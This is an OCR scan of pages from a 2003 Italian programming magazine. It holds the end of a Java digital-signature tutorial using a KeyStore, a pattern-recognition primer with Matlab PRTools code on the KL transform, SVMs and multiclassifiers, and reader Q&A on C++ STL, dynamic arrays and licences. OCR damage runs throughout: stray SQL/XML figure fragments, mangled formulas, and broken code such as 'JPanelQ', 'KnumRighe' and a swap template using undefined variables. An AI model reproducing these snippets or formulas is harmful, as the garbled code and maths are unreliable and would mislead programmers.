to. In definitiva i parametri da gestire per reperire le
chiavi di firma sono: la password per accedere al Key-
Store, e la coppia password - alias del certificato per in-
dividuare ed estrarre la coppia di chiavi asimmetriche.
Descriviamo brevemente come implementare una
[iì Firma & Verifica
Firma Digitale Verifica Della Firma
Documento da firmare : torre.jpg.
Chiave : rnarano.pk.
</PROD(
<PRODU-.
ProductNaì
<CATÉCOr
CategoryNai
in-nODU-'-'
firma
digitale
X509
E lo standard che
definisce i forma-
ti e le informazioni che
un certificato digitale
deve contenere.
AWT
Abstract Window
Toolkit, libreria di
Ó
classi mediante la qua-
le è possibile sviluppa-
re le Gui di ciascuna
applicazione secondo i
canoni grafici, specifi-
ci della piattaforma
usata; il tutto nel pieno
rispetto della filosofia
Sun "write once, run
everywhere ".
Fig. 3: L'interfaccia (modalità firma)
http ://www.itport al.it
g g
3 ►►► 119
BELECT
PiOdutUÙ,
1-P.nf P.ODUCTS IN%TR JOJN
ON Pi- L'DUCTS.
CAiEomaiaD for xml auto
Categpn^^fc
"Beverages^
< PRODUCTS Pr\
JuctTO-"2'
<CAT£CORIES
CategoryNatn**
^eve/ages7>
<,vrtC[>i,CT-::
firma
digitale
KeyStore
Nel precedente ap-
puntamento una
Ó
parte dell'applicazione è
stata dedicata alla ge-
nerazione e la gestione
della coppia di chiavi
asimmetriche, indispen-
sabili per la generazio-
ne e verifica della firma
digitale. Le chiavi, op-
portunamente genera-
te, venivano memoriz-
zate all'interno di un
KeyStore.
Fasi di
progettazione
progettazione
Ó
La
del sistema è stata
suddivisa in due fasi:
una prima fase in cui è
stato progettato il sotto-
sistema, che si occupa
della generazione e ge-
stione della coppia di
chiavi asimmetriche usa-
te per firmare e verifica-
re i documenti.
Una seconda fase in cui è
stato progettato il pro-
dotto software che con-
sente all'utente di firma-
re un documento oppure
di verificare la firma ap-
posta sullo stesso.
Firma & Verifica
Firma Digitale Verifica Della Firma
Documento da verificare : torre.jpg.
Chiave : marano.cer.
Firma del documento : Firma.
Fig. 4: L'interfaccia (modalità verifica).
semplice interfaccia che permetta all'utente di interro-
gare il KeyStore ed estrarre la chiave privata. Evitando
tediose e ripetitive analisi sulla composizione dell'in-
terfaccia, ci limitiamo a descrivere solo il pannello del
contenuto. Quello che ci serve sono semplicemente tre
etichette (JLabel), e tre campi di testo mediante i quali
fornire l'input necessario al back - end descritto nel
precedente articolo. Inizialmente definiamo il layout
manager del pannello, quindi adottando la politica Ja-
va sulla gastione dei contenitori utilizziamo due pan-
nelli distinti per la gestione delle etichette e dei capi di
testo. Quindi i pannelli così arredati vengono collocati
all'interno del pannello principale.
// definiamo il contenitore
setBorder(BorderFactory.createEmptyBorder(20, 20, 20, 20));
setLayout(new BorderLayout());
// creazione dei pannelli accessori
Component LabelPanel = makeLabelPanelQ;
Component TextPanel = makeTextPanel();
add(LabelPanel, BorderLayout. CENTER);
add(TextPanel, BorderLayout. EAST);
La costruzione di LabelPanel, pannello che funge da
contenitore per le etichette, si struttura in tre fasi: la
creazione di un un pannello che serve da contenitore,
la definizione degli oggetti JLabel e la conseguente di-
sposizione delle etichette nel contenitore.
protected Component makeLabelPanel(){
// definizione delle etichette
AliasCertificato = new JLabel(ACstring);
KeyStorePassword = new JLabel(KSPstring);
PrivateKeyPassword = new JLabel(PKPstring);
// creazione del pannello (contenitore)
JPanel labelPane = new JPanelQ;
// disposizione etichette sul pannello
label Pane. setLayout(new GridLayout(0,l));
label Pane. add(AliasCertificato);
label Pane. add( KeyStorePassword);
label Pane. add( PrivateKeyPassword);
return labelPane;
}// makeLabelPanel
Analogo procedimento viene seguito per la realizza-
zione di TextPane, il pannello che contiene i campi di
testo necessari per l'input.
Inizialmente si procede con la definizione degli ogget-
ti JTextField e dei relativi listner necessari per la gestio-
ne dell'evento, quindi si passa alla costruzione del con-
tenitore ed infine si dispongono gli stessi oggetti sul
pannello.
protected Component makeTextPanel(){
// definizione campi di testo
certificato = new JTextField(lO);
certificato.addActionListener(this);
keyStore = new JTextField(lO);
keyStore.addActionListener(this);
chiavePrivata= new JTextField(lO);
chiavePrivata.addActionListener(this);
// creazione del pannello (contenitore)
JPanel fieldPane = new JPanel();
// disposizione etichette sul pannello
fieldPane. setLayout(new GridLayout(0,l));
fieldPane. add(certificato);
fieldPane. add( keyStore);
fieldPane. add(chiavePrivata);
return fieldPane;
}
Ultimata la fase in cui si effettua l'input necessario per
accedere al KeyStore, bisogna necessariamente gestire
la risposta all'evento, infatti il testo immesso attraverso
i JTextField viene prelevato e passato come parametro
all'applicazione che permette di interrogare il KeyStore,
quest'ultima dettagliatamente descritta nel precedente
articolo.
public void action Performed (Action Event evt) {
String cer = certificato. getText();
String ks= keyStore. getText();
String kp= chiavePrivata.getText();
ChiavePrivata chiavePrivata = new ChiavePrivataQ;
chiavePrivata.go(cer,ks,kp);
}
Per concludere ricordiamo che l'estrazione del certifi-
cato avviene attraverso l'applicazione Keytool, come già
descritto in precedenza, usando la seguente istruzione
a riga di comando.
C:\ >keytool -export -alias marano -file marano.cer
Il certificato estratto dal KeyStore viene memorizzato in
un file la cui estensione è compatibile con lo standard
X509 v2.
CONCLUSIONI
Il sistema sviluppato in questi due appuntamenti,
permette la certificazione attraverso firma digitale
debole di tutta la documentazione informatica.
Definito lo stato dell'arte, sono stati determinati gli
standard vigenti in materia in modo da realizzare
un sistema che a tutti gli effetti presenta i requisiti
legali idonei per un effettivo impiego a norma di
legge.
Salvatore Marano
120 ►►► m
9 9
3
http: //www. itport al.it
Introduzione
AL PATTERN RECOGNITION parte seconda
In questa seconda e ultima parte del corso introduttivo
di pattern recognition focalizzeremo l'attenzione sui
metodi di selezione delle feature e sulla classificazione
mediante l'utilizzo delle Support Vector Machine (SVM)
e mediante Multiclassificatore (MCS).
Pattern
Recognition
Molti metodi di pattern recognition sono basa-
ti sull'estrazione di feature e successivamen-
te dalla classificazione. Utilizzare "tante fea-
tures quante possibili" porta normalmente a risultati
non eccellenti: è di fondamentale importanza che le
feature non siano correlate /ridondanti. I metodi di se-
lezione delle feature si dividono in due classi, gli algo-
ritmi della prima classe determinano un sottoinsieme
che massimizza un certo criterio, metre la seconda
classe è costituita da algoritmi di ricerca. I criteri di de-
cisione possono essere i risultati della classificazione
oppure la distanza fra clusters. Le tecniche considerate
più efficaci per il problema della feature selection sono
le SFSM (Seqtiential Floating Search Methods), tali meto-
di si dividono in due categorie: forward (SFFS) and
backward (SFBS). Nel SFFS si parte con un sottoinsie-
me vuoto e, ad ogni step, si aggiunge la migliore fea-
ture sulla base di un dato criterio, inoltre si verifica se
l'eliminazione della peggiore feature ci permette di
massimizzare il criterio. I vari step si susseguono fin-
ché non si raggiunge il numero di feature desiderate.
La ricerca backward (SFBS) lavora in maniera analoga,
ma partendo da un sottoinsieme comprensivo di tutte
le feature. Citiamo infine i metodi AFSM (adaptive
floating search methods), la cui differenza rispetto al
SFSM è che considera più feature nel medesimo passo.
Un'altra soluzione a questo problema è l'utilizzo di
metodi di riduzione di dimensionalità, i quali eseguo-
no un mapping dallo spazio iniziale composto da N
features ad uno spazio di dimensione inferiore. La più
nota trasformata per effettuare tale trasformazione è la
trasformata di Hotelling o espansione discreta di
Karhunen Loeve, la quale è basata sulle proprietà sta-
tistiche dei patterns.
TRASFORMATA KL
Uno dei compiti più difficili nella pattern recognition è
lo sviluppo di una teoria in grado di trattare qualsiasi
tipo di pattern, senza avere informazioni sul dominio
applicativo. I migliori approcci per l'estrazione auto-
matica delle caratteristiche sono le trasformazioni li-
neari introdotte dalla KL e dalla discriminant analysis.
Le caratteristiche vengono selezionate durante un Trai-
ning: i due metodi differiscono per il fatto che il primo
ottimizza la rappresentazione dei pattern, il secondo
costituisce un approccio supervisionato alla classifica-
zione. Recentemente è stata introdotta una generaliz-
zazione della trasformata KL, la Multi-space KL (MKL)
nella quale vengono creati più sottospazi per rappre-
sentare i pattern. Come precedentemente detto uno dei
metodi più utilizzati per effettuare la riduzione di di-
mensionalità è la trasformata di Karhunen Loeve o, co-
me spesso viene chiamata, trasformata di Hotelling.
Un'altra applicazione di tale modello, particolarmente
utile nel nostro caso particolare, è la possibilità di tra-
sformare variabili correlate in incorrelate. Ricordiamo
che l'utilizzo di feature correlate riduce il potere discri-
minante. Viene definita proiezione di un vettore sullo
spazio KL fc-dimensionale un cambio di coordinate, a
seguito del quale d-k coordinate divengono nulle. Vie-
ne definita retro-proiezione di un vettore nello spazio
KL fc-dimensionale un cambio di coordinate, a seguito
del quale d-k coordinate divengono non-nulle. I difetti
della KL sono principalmente due:
• Problema della linearità
• Problema della scalabilità
Con Problema della linearità s'intende il fatto che la KL
fornisce un mapping lineare, dunque è adatta a dati
che seguono una distribuzione Gaussiana, ovvero la
nuvola di punti è vagamente simile a un'iperelissoide.
Con Problema della scalabilità s'intende il fatto che
quando il numero di pattern e di classi aumenta, è ne-
cessario un training set più grande per soddisfare le
necessità di rappresentatività, e l'efficacia della KL di-
minuisce: il potere delle caratteristiche scompare quan-
do le caratteristiche tendono a diventare uniformi,
®
File sul CD
\soft\codice\prtools
File sul Web
www.itportal.it/iop69
/prtools
Feature
Caratteristiche
estraibili da un
pattern. Tali valori,
normalmente memo-
rizzati in vettori, ven-
gono utilizzati dal si-
stema di classificazio-
http://www.itport al.it
g g
3 ►►► 121
Pattern
Recognition
Fig. 1: Differenza KL/MKL/.
mentre il tempo di training può diventare proibitivo.
Si può cercare di superare queste limitazioni aumen-
tando la dimensionalità del sottospazio KL, solitamen-
te tali tecniche non portano a risultati soddisfacenti:
nella classificazione ci potrebbe essere un peggiora-
mento delle prestazioni, in quanto l'informazione por-
tata dalle dimensioni aggiuntive potrebbe contenere
"rumori" di vario genere; nella rappresentazione un
certo appiattimento delle caratteristiche permane.
Nella parte destra della Fig. 1 vi è la riduzione da due
a una dimensione mediante KL, in poche parole deter-
minato il sottospazio (la linea nera) si proiettano su es-
so i pattern. Nella MKL (parte sinistra) si usano più
sottospazi, il pattern viene proiettato nel sottospazio
più vicino, così facendo ottengo una migliore rappre-
sentazione dei dati a pari riduzione di dimensionalità.
Per i più volenterosi, soprattutto per chi ha un minimo
di conoscenze di geometria e statistica, nel paragrafo
Formalizzazione KL/MKL si spiega come si creano i sot-
tospazi e com si effettuano le proiezioni. Analogamen-
te alla KL anche nella MKL l'aumento del numero di
dimensioni minimizza l'errore, bisogna comunque te-
Nearest
Neighbor
Assegna un pat-
tern alla classe di
appartenenza del pat-
tern del training set
più vicino in base, in
genere ma non è obbli-
gatorio, alla distanza
euclidea.
FORMALIZZAZIONE MATEMATICA DELLA KL/MKL
Sia P un insieme di n pattern d dimensionali, posto
X il vettore dei patterns, e p(X) la sua funzione di di-
stribuzione, il vettore medio di X è definito (nel ca-
so più pratico di variabili discrete con probabilità
uguali)
din) .
*x&
X
Mentre la matrice di covarianza, la quale indica la di-
spersione della distribuzione, è definita nel seguente
modo:
: (Un) .
J x£P
(x-x)(x-x)
Dato che la matrice di covarianza è reale e simmetri-
ca, esistono una matrice diagonale A costituita dagli
autovalori della matrice di covarianza, e dalla matri-
ce ortonormale <p le cui colonne sono gli autovettori
dei corrispondenti autovalori della matrice di cova-
rianza.
:/
Dal fatto che la matrice sia simmetrica e che gli ele-
menti della matrice di covarianza siano reali implica
che anche gli autovalori e i relativi autovettori siano
reali. La trasformata viene definita come:
Y=0 T (X-X)
Per il nuovo vettore otteniamo i seguenti risultati:
Y = E(</> T (X-X)) = (j> T (E(X) -X) =
2i y = E(<j> T (X-X)(X-X) T (p) = <j) T 2s x (l> = A
Ciò implica che le componenti delle trasformate sia-
no incorrelate. La trasformata inversa è così definita:
X = (pY + X
In sostanza gli autovettori individuano la direzione
di massima variazione dei patterns, mentre gli auto-
valori rappresentano la loro varianza.
Vediamo ora la MKL, sia P= lx i ER" I i = 1... mj in-
sieme di m vettori n-dimensionali; per una partizio-
ne di P e per un dato insieme K di scalari, tali che:
UPj = PPiDPj = 0, Vi,j = l..s,i *}
Vincolo ài partizione
ni: = card(P:) ;
m
,s + l
Vincolo di bilanciamento
Vz = 2..s
Tre sono i requisiti numerici che il numero k di auto-
vettori deve soddisfare in ogni sottospazio:
k<d, k<n, k>0
La trasformata MKL è definita dai sottospazi:
S = ISi = S^^. ki ,i = l..sì
dove
x = (I/m) -*-> x
matrice le cui colonne sono gli autovettori corri-
spondenti ai più grandi autovalori. Si definisce solu-
zione MKL una terna, (s, p, K).
Facilmente si osserva che la KL nienf altro è che un
caso particolare della MKL, con s=l, P = IP}, K = Ikj.
L'errore quadratico medio percentuale di ricostruzio-
ne è definito come la somma pesata dell'errore medio
legato agli spazi KL.
122 ►►► m
9 9
3
http: //www. itport al.it
ner conto che nelle applicazioni di classificazione, è
stato dimostrato che la minimizzazione oltre un certo
limite non migliora la separabilità delle classi, mentre
le performance potrebbero peggiorare. Stesso risultato
si ottiene aumentando il numero di sottospazi, in que-
sto caso bisogna stare attenti a non utilizzare pochi ele-
menti per la creazione del sottospazio, questi non po-
trebbero essere in numero sufficiente per rappresenta-
re nuovi pattern, ci troveremo di fronte ad una manca-
ta capacità di generalizzazione. Vediamo ora l'utilizzo
pratico della KL con le classi del PRTool. Guardiamo la
rappresentazione grafica utilizzando i primi due auto-
vettori per la rappresentazione di una foto.
if exist('facel.mat') ~= 2
error('Face database not in search path')
end
a = readface([l:40],l);
w = klm(a);
imagesc(dataset(eye(39)*w', [],[],[],[], 11 2)); drawnow
Come potete notare il codice è elementare: letto il da-
tabase di facce Cfacel.mat'), effettuo il mapping della
KL (klm) a una singola dimensione. Infine, imagesc crea
l'immagine di Fig. 2.
Fig. 2: Rappresentazione di foto mediante KL.
Tale rappresentazione, a prima vista non utile, lo sarà
assai nella classificazione. . . (cioè nella creazione di un
riconoscitore di volti). Comunque il metodo di creare
un mapping KL è sempre questo (qualsiasi problema
stiamo trattando): creo il mapping (w) e poi per ridur-
re un dataset effettuo una "moltiplicazione" di questo
per il mapping, (ricordate w=klm (dataset, dimensione)).
SVM
Al contrario dei classificatori classici in cui si cerca di
stimare la densità di probabilità delle classi, in questo
metodo si cerca di trovare le superfici decisionali che
delimitano le classi. L'azione del Support Vector Ma-
chine (SVM), consiste nel mappare lo spazio di input
R M (m è il numero delle caratteristiche estratte) in uno
spazio R D (con d>m) in cui viene costruito l'iperpiano
che permette, grazie ai maggiori gradi di libertà di se-
parare i dati di training appartenenti alle due classi.
L'iperpiano utilizzato per la separazione viene scelto
come quello che rende massima la distanza fra l'iper-
piano e il vettore di training ad esso più vicino: Maxi-
mal Margin Hiperplane (MMH). Effettuiamo un sem-
plice confronto con uno dei modelli più utilizzati, una
rete neurale, tipo Multi Layer Perceptron (MLP), in
questo caso l'iperpiano ottenuto dopo l'addestramen-
to è il risultato dei cambiamenti che subisce quello ini-
ziale, scelto a caso, cercando di trovare una zona in cui
i dati del training set siano classificati correttamente (o
quasi). Esiste un problema: si cade spesso in minimi lo-
cali che non permettono di raggiungere la soluzione
ottima del problema.
Fig. 3: Iperpiani di separazione.
Vediamo ora alcune proprietà delle SVM:
1) La soluzione, se esiste, corrisponde ad un minimo
globale per il problema in esame ed è unica.
2) Solo una parte dei vettori presenti nel Training Set
i cosiddetti Support Vector, compariranno nell'e-
spressione della soluzione.
3) L'algoritmo, inizialmente sviluppato per casi li-
nearmente separabili, è facilmente generalizzabile
al caso non lineare.
4) La complessità dipende dal numero dei pattern del
Training Set e non dalla dimensionalità dello spa-
zio delle feature.
Consideriamo il problema in cui possediamo due clas-
si di pattern linearmente separabili, cioè esista almeno
un iperpiano in grado di separare senza errori i dati.
I Pattern che giacciono sul margine sono detti Support
Vector, in base a questi si può definire la soluzione del
problema. Ci troviamo di fronte ad un problema di ot-
timizzazione vincolata con una funzione quadratica da
ottimizzare con vincoli lineari. Nel caso di un training
set non-separabile, non è definibile un margine di con-
fine tra le due classi, quindi la formulazione utilizzata
non è direttamente applicabile. In questo caso, duran-
te la costruzione dell'iperpiano ottimo s'introducono
variabili di slack nei vincoli in modo tale che, se un
pattern viene classificato giustamente, allora le varia-
bili di slack valgono 0. Inoltre viene definito un costo
per errori di classificazione, si modifica quindi la fun-
Pattern
Recognition
Feature
Selection
Insieme di meto-
di per selezionare
d feature fra le D di-
sponibili (d<D), lo sco-
po è massimizzare le
performance del siste-
ma di pattern recogni-
tion.
Multi-
classificatore
Metodi per com-
binare l'output di
più classificatori in
modo da migliorare le
performance rispetto
all'uso di un singolo
classificatore.
http ://www.itport al.it
g g
3 ►►► 123
Pattern
Recognition
Trasformate
KL
Insieme di meto-
di che permetto-
Ó
no di ridurre la dimen-
sionalità del problema
annullando alcune co-
ordinate del sistema,
in particolare vengono
eliminate le dimensioni
meno utili dal punti di
vista rappresentativo.
SVM
Classificatore che
cerca di creare
Ó
una superficie di sepa-
razione fra le classi, in
modo da massimizzare
la distanza fra i pattern
delle diverse classi.
zione da minimizzare, inserendo il parametro C che
definisce il peso da dare agli errori nella ricerca dell'i-
perpiano ottimale e viene deciso a priori dall'utente.
Nel caso di vettori non giustamente classificati il mol-
tiplicatore di Lagrange vale C, se invece i vettori sono
ben classificati vale fra e C. In definitiva C è il limite
superiore per i valori dei moltiplicatori. La soluzione
del problema per il caso non separabile può essere ge-
neralizzata al caso in cui si voglia dare un costo diffe-
rente agli errori di classificazione d'esempi apparte-
nenti ad una classe rispetto agli altri. Questa possibilità
potrebbe essere motivata ad esempio se, all'interno
dell'insieme di training, si ha un diverso numero d'e-
sempi, oppure dalla necessità di introdurre uno sbilan-
ciamento, in modo da avere un ulteriore parametro
con cui raffinare l'apprendimento della rete. Si cerca
ora di dare la formulazione delle SVM nel caso non li-
neare: si tratta semplicemente di effettuare un map-
ping non lineare dallo spazio di input di d dimensioni
in uno spazio H a m dimensioni (feature space), dove
m>d. e costruire in questo spazio l'iperpiano.
TEOREMA DI COVER %
SULLA SEPARABILITÀ
DEI PATTERN
Un problema non banale di classificazione, mappato
non linearmente in uno spazio con un numero di di-
mensioni maggiore di quello originario, ha più proba-
bilità di essere linearmente separabile. Talvolta accade
che problemi non separabili nello spazio di partenza
diventino separabili in quello delle feature, dove mag-
giori sono i gradi di libertà. Ciò equivale a separare i
pattern nello spazio originario con superfici comples-
se. Il problema più rilevante sarebbe ora quello di cal-
colare l'immagine in H di ogni vettore appartenente al
problema, nella maggior parte dei casi ciò è computa-
zionalmente intrattabile. Per risolvere questo proble-
ma si utilizzano le cosiddette funzione kernel (le quali
ovviamente devo soddisfare alcune condizioni, in par-
ticolare quelle imposte dal teorema di Mercer).
Le funzioni kernel che soddisfano il teorema di Mercer
sono numerosissime, ma quelle più note e utilizzate
sono:
1) Polinomio di grado a
2) Radiai Basis Function (RBF)
3) Neural Network
4) Espansione di Fourier.
FORMALIZZAZIONE
MATEMATICA DELLE SVM
Consideriamo due classi di pattern e definiamo un
insieme di training contenente n campioni in questo
modo:
Ixj ,y i I con y E(+l, -1), dove con y si intendono le eti-
chette delle due classi. In iperpiano è così definito:
D(x)=wx + b
w: vettore normale all'iperpiano
bj \\w 1 1 : distanza dall'origine
D(x)=0 : luogo dei vettori sul piano
x= x p + rwj 1 1 w 1 1 , D(x p ) =
I vincoli che l'iperpiano deve sottostare sono i se-
guenti:
wxj + b>l
wxj +b < -1
in forma compatta:
J/; (iVXj + b )>1
Dunque la distanza del vettore positivo (negativo) più
vicino all'iperpiano è pari a 1/ \\zv \\.
Xj
^^^^\yj* x
\ ' ■ \
\ '■■/• '■ A
n h\ <S \
/\ &W\
— *-.tJ
~~~~**x,
Fig. 4: Rappresentazione 3-D dell'iperpiano.
Il margine è dato dalla loro somma. Il problema consi-
ste nel cercare quell'iperpiano che massimizza il mar-
gine. Questo tipo di procedimento è giustificato dal
fatto che, in prossimità di un punto appartenente ad
una certa classe, è più probabile trovare punti della
stessa classe che punti dell'altra. In definitiva il proble-
ma è il seguente:
Minimizza: \ \ w \\ 2 /2
Vincoli y t (wx i + b) >1 - e ì , i=l..n
Vediamo come utilizzare l'SVM nel PRTool.
[WJ] = svc(A,type,par,C)
A è il dataset di training, txjpe implica il tipo di kernel:
124 ►►► M a g g
3
http: //www. itport al.it
'pohjnomiaV I 'p'
'exponential' I 'e'
' radiai _basis' I V
'siginola' I 's'
par e C sono i parametri del Kernel (non preoccupa-
tevi se non li inserite li mette di default la funzione)
e il peso degli errori. L'output è composto dal solito
mapping w e da / che contiene l'indice degli oggetti
di support. Per classificare un test set basta:
testd(dataset(test set)*io) ;
MULTICLASSIFICATORI
Per prima cosa spieghiamo che cosa s'intende con
multiclassificatore. Con tale termine s'intende un si-
stema dove diversi classificatori sono utilizzati con-
temporaneamente, e le decisioni dei singoli classifi-
catori sono fuse. Recentemente è stato dimostrato
che l'utilizzo di combinazione di classificatori può
migliorare, talvolta anche marcatamente, le presta-
zioni di un singolo classificatore.
Molto importante è tener conto che la combinazione
è efficace solo nel caso in cui i singoli classificatori
siano in qualche modo indipendenti fra loro, ovvero
non commettano errori dello stesso tipo.
Tale indipendenza si può ottenere cercando di utiliz-
zare feature diverse, impiegando algoritmi diversi
per l'estrazione delle feature, utilizzando training set
diversi (bagging), oppure insistendo nell'addestra-
mento con i pattern più frequentemente classificati
erroneamente (boosting).
In particolare la fusione avviene a livello di confi-
denza oppure a livello di decisione.
Nella fusione per decisione ogni singolo classificato-
re fornisce in output la propria decisione (che consi-
ste nella classe cui ha assegnato il pattern) e il livello
di affidabilità della classificazione eseguita (ovvero
di quanto il classificatore si sente sicuro della deci-
sione presa). Uno dei più noti e semplici metodi di
fusione è la cosiddetta majority vote ride; ogni classifi-
catore vota per una classe, il pattern viene assegnato
alla classe maggiormente votata. Dato un problema
di classificazione a due classi e un multiclassificatore
costituito da N classificatori, la majority vote rule
classifica il pattern come appartenente alla classe che
ha ottenuto almeno (N+l)/2 voti.
Teoricamente se i vari classificatori sono indipenden-
ti (cosa a dir poco difficile da ottenere in pratica) uti-
lizzando 21 classificatori, dove ogni classificatore
commette il 20% di errore in pratica, l'errore del mul-
ticlassificatore sarebbe del 0.001% !.
Nella fusione a livello di confidenza ogni singolo
classificatore fornisce in output la confidenza di clas-
sificazione del pattern rispetto a ciascuna classe, ov-
vero un vettore di dimensionalità pari al numero del-
la classi. Dove l'i-esimo elemento indica la probabi-
lità di appartenenza del pattern alla classe i-esima.
Diversi metodi di fusione sono possibili tra cui: som-
ma, media, prodotto, max, min.
Il metodo della somma è uno dei più noti e utilizzati
per la sua robustezza. Il metodo prevede di eseguire
la somma vettoriale dei diversi vettori di confidenza,
e di classificare il pattern sulla base dell'elemento
maggiore. Una semplice variante è quella della som-
ma pesata, dove la somma dei vettori di confidenza
è eseguita pesando i diversi classificatori in base al
loro grado di abilità. Il grado di abilità in genere vie-
ne definito in base alle singole prestazioni dei classi-
ficatori, ad esempio in maniera inversamente pro-
porzionale all'errore di classificazione. Infine tengo a
sottolineare che bisogna fare molta attenzione alla
normalizzazione dei diversi vettori di confidenza.
Infatti, spesso questi non sono tra loro confrontabili a
causa dei diversi spazi di variazione. Per una nor-
malizzazione efficace una semplice divisione rispet-
to agli spazi di variazione non è sufficiente....
Vediamo dunque un esempio di multiclassificazione:
A=gendatd(100,100,10);
[B,C] = gendat(A,20);
wkl = klm(B,0.95); %mapping con la KL
bkl = B*wkl; % riduzione mediante KL
vkl = ldc(bkl); % Idc è un classificatore statistico
wl = wkl*vkl; %opero nello spazio originario
testd(C*wl)
wfn = featself(B,'NN',3); %metodo di feature selection
bfn = B*wfn; vfn = ldc(bfn);
w2 = wfn* vfn;
testd(C*w2)
wfm = featself(B,ldc,3);
bfrn = B*wfm;
vfm = ldc(bfm);
w3 = wfm*vfm;
testd(C*w3)
w4 = ldc(B);
testd(C*w4)
w5 = knnc(B,l);
testd(C*w5)
wall = [wl,w2,w3,w4,w5]; %combinazione
testd(C*meanc(wall)) %regola della media. . .
testd(C*maxc(wall))
testd(C*minc(wall))
testd(C*majorc(wall))
CONCLUSIONI
Si conclude con questo articolo questa breve intro-
duzione al pattern recognition, nel corso della quale
spero di aver spiegato i concetti fondamentali di que-
sta affascinante disciplina delle scienze dell'informa-
zione. Nei prossimi tratteremo problemi pratici, vi ri-
cordo ancora una volta che i listati che presenterò nei
prossimi articoli saranno basati sulle classi del PR-
Tool 3 (ma non solo), e saranno scritti in linguaggio
Matlab 6.0.
Loris Nanni
Pattern
Recognition
Bibliografia
• MULTI-SPACE KL FOR
PATTERN
RECOGNITION AND
CLASSIFICATION.
TECHNICAL REPORT N° 5
R. Cappelli D.Maio
D. Mattoni
(CSITE-CNR Università
di Bologna)
2000
• MAKING
LARGE-SCALE SVM
LEARNING PRACTICAL
Thorsten Joachims
LS8-Report, 24,
Università di Dortmund,
LS VIII-Report
1998
http ://www.itport al.it
Maggio 2003 ►►► 125
N B
TNBox
A I \ L'esperte
esperto risponde...
Librerie STL
► ►►►►►►►►►►►►►►
Cara redazione di ioProgrammo,
vorrei disturbarvi con una
domanda: che cos'è la libreria STL
e quali differenze sussistono con le
librerie standard del C++? Vi rin-
grazio in anticipo per il vostro
tempo e per la cortesia.
Elia Federici
STL è una libraria sviluppata da Ale-
xander Stepanov, da sempre in contrap-
posizione alla programmazione orientata
agli oggetti, quest'ultima costituente il pa-
radigma principale del linguaggio C++.
STL si basa invece sul paradigma della
cosiddetta programmazione generica. Le
librerie standard del C++ traggono notevo-
le spunto da STL, tuttavia il loro contenuto
è deciso in seno al comitato ANSI/ISO.
Nella sostanza, la differenza principale tra
STL e programmazione orientata agli og-
getti consiste nella differente implementa-
zione del polimorfismo universale (non ba-
sato sulle forzature - coercion), parametri-
co per la prima, per inclusione nel secondo
caso. Un esempio di polimorfismo para-
metrico è costituito dall'implementazione
di una funzione di scambio (scambia) indi-
pendente dai dati di ingresso:
template< class T >
void scambia( T* primo, T* secondo )
{
T temp = *primo ;
*a = *secondo ;
*b = temp ;}
Il codice indica una famiglia di funzioni,
parametrizzate sul tipo T, che scambiano
elementi di tipo T. In realtà, una funzione
non può operare su parametri di tipo qua-
lunque, poiché dobbiamo supporre che
esista una relazione d'ordine tra i due
parametri (nel nostro caso l'uguaglianza).
Per tale motivo, in questo caso, si parla di
genericità con vincoli. L'approccio "orien-
tato agli oggetti" al polimorfismo è molto
differente. Anziché definire una funzione
rendendola parametrica rispetto ai tipi
trattati, si definisce la categoria (classe)
degli elementi su cui ha senso applicare la
funzione. Quindi, mentre nel polimorfi-
smo parametrico si parte dalle funzioni,
mantenendo implicite le proprietà degli
elementi, nel polimorfismo ad oggetti si
cerca immediatamente di identificare le
proprietà degli elementi cui si possono
applicare le funzioni. Una volta definita
tale classe, quelle da essa derivate ne eredi-
tano le funzioni, con la possibilità di ridefi-
nirle.
Array bidimensionale
in C+ +
► ►►►►►►►►►►►►►►
Gentile redazione di
ioProgrammo, vi sottopongo
un dubbio che mi affligge da qual-
che tempo. Vorrei capire com'è
possibile (se possibile!) definire in
C/C++ un array bidimensionale,
rendendo dinamico sia il primo che
il secondo indice. Ho provato ad
utilizzare un array di puntatori, ma
il problema si pone in quanto biso-
gna sempre definire un indice.
Com'è possibile fare ciò? Ringrazio
anticipatamente.
Fabrizio Lallai
La domanda è un po' ambigua in quan-
to non si capisce se per array dinamico
si intende il dimensionamento a runtime o
il dimensionamento dinamico di un array.
Nel primo caso, non ci sono problemi di
alcun genere. Basta usare correttamente
l'operatore new per allocare la dimensione
che si intende fornire alla matrice, sia per
il primo indice, sia per il secondo. Natural-
mente, occorre inizializzare prima un indi-
ce (di solito quello delle righe) e poi iterare
in un eliclo di for l'inizializzazione di cia-
scun puntatore appartenente al vettore pri-
ma allocato. Ecco una possibile implemen-
tazione:
doublé** Matrice;
Matrice = new doublé* [numRighe];
for (UINT i=0; KnumRighe; i++)
Matrice[i] = new double[numColonne];
Nella seconda riga di codice, inizializzia-
mo un array di puntatori a doublé costitui-
to da un numero di elementi pari al valore
di numRighe. Con il ciclo di for, invece, ini-
zializziamo ciascuno degli elementi del
primo array come vettori di doublé costi-
tuiti ciascuno da un numero di elementi
pari al valore di numColonne. L'operazione
può essere fatta in qualsiasi momento, per-
tanto può avvenire anche a runtime.
Naturalmente, quando la matrice non
serve più, la memoria va rilasciata con una
istruzione del tipo delete [] Matrice, lascian-
do al compilatore il compito di rilasciare la
memoria impegnata dai vari puntatori.
Tutt' altro discorso, invece, se si vuole cam-
biare a runtime la dimensione degli ele-
menti della matrice. In questo caso, occorre
creare un'altra matrice con le nuove di-
mensioni (più grande o più piccola), in cui
copiare gli elementi di quella precedente.
Al termine dell'operazione, si prowederà
al rilascio della memoria impegnata dalla
prima matrice, come spiegato prima.
Esistono classi che sono già predisposte
per tali operazioni, come CArray di MFC
per Visual C++. Il loro utilizzo può sempli-
ficare la vita del programmatore, che non si
dovrà occupare dei dettagli implementati-
vi, grazie all'invocazione di una istruzione
del tipo Matrice. SetSize (nuovaDimensione-
Righe) per il primo indice e Matrice[i].
SetSize(nuovaDimensioneColonne) per il se-
condo indice. Concettualmente, però, l'o-
perazione viene eseguita esattamente nella
maniera in cui l'abbiamo descritta.
Licenze Software
► ►►►►►►►►►►►►►►
Comincio con i dovuti compli-
menti alla vostra rivista: il 70%
delle risposte e dei programmi che
mi servono, lo trovo proprio tra le
vostre pagine o nei vostri CD.
Quello che vorrei sapere, merita
126 ►►► a
3
http ://www.itport al.it
N B
probabilmente un intero articolo,
per la complessità del tema. Provo
comunque a porre la domanda. Se
io scrivessi un programma e lo
volessi distribuire gratuitamente,
con i codici, magari permettendo le
modifiche, ecc., ma volessi anche
proteggermi da eventuali danni
creati dal programma, potrei sfrut-
tare una delle varie licenze che si
utilizzano per programmi Open
Source? E se sì, dovrei solo inserire
il file con la licenza o dovrei in
qualche modo dire a chi l'ha creata
che io la uso? So che l'argomento è
complesso, ma spero che riusciate
